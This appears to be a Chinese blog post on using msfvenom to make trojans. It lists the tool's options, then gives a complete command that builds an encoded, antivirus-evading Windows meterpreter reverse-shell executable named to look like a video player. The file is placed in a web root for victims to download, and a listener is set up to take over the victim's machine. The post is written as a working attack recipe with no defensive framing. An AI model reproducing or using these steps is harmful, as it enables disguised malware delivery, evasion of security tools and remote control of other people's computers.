msfvenom使用和生成木马

一、msfvenom命令

-l, --list            列出[type]的所有模块。  类型是:有效载荷,编码器,点,platforms, archs, encrypt, formats, all
-p, --payload         设置攻击载荷
    --list-options    列出--payload <值>的标准,高级和规避选项
-f, --format          指定输出文件格式 可以通过-lformats查看
-e, --encoder         指定编码器,使木马免杀 可以通过-lencoders查看
    --service-name    生成服务二进制文件时使用的服务名称
    --sec-name        生成大型Windows二进制文件时要使用的新节名称。  默认值:随机的4个字符的字母字符串
    --smallest        使用所有可用的编码器生成最小的有效载荷
    --encrypt         应用于shellcode的加密或编码类型(使用--list加密以列出)
    --encrypt-key     用于--encrypt的密钥
    --encrypt-iv      encrypt的初始化向量
-a, --arch           指定架构 x86(32位)或x64
--platform         指定平台
-o, --out            文件保存位置
-b, --bad-chars       避免使用的字符示例:'\ x00 \ xff'
-n, --nopsled         在有效负载之前添加一个[length]个大小的点头
    --pad-nops        将由-n <length>指定的nopsled大小用作总有效负载大小,自动添加数量为nopsled的nopsled(nops减去有效负载长度)
-s, --space           生成的有效负载的最大大小
    --encoder-space   编码的有效负载的最大大小(默认为-s值)
-i, --iterations      指定编码次数
-c, --add-code        <path>指定一个额外的win32 shellcode文件以包括
-x, --template       指定要用作模板的自定义可执行文件
-k, --keep           保留--template行为并将有效负载作为新线程注入
-v, --var-name       指定用于某些输出格式的自定义变量名称
-t, --timeout        从STDIN读取有效负载时要等待的秒数(默认为30,禁用为0)
-h, --help                   显示要帮助内容

二、msfvenom生成木马

1.生成木马

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.114.129 LPORT=4444 -b "\x00" -e x64/xor_dynamic -i 10 -f exe -o /var/www/html/西瓜影音.exe
\x:十六进制
00:空字符(ASCII表)
LHOST LPORT:我们的端口和ip,形成交互
在这里插入图片描述

这里直接生成到web登陆,方便下载,但要打开Apache

2.下载打开并运行

在这里插入图片描述
在这里插入图片描述

3.加载攻击模块,设置payload

handler:后门监听程序
payload必须和生成木马指定地址一样
在这里插入图片描述
在这里插入图片描述已经连接到主机,接下来就靠你们自己发挥了。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值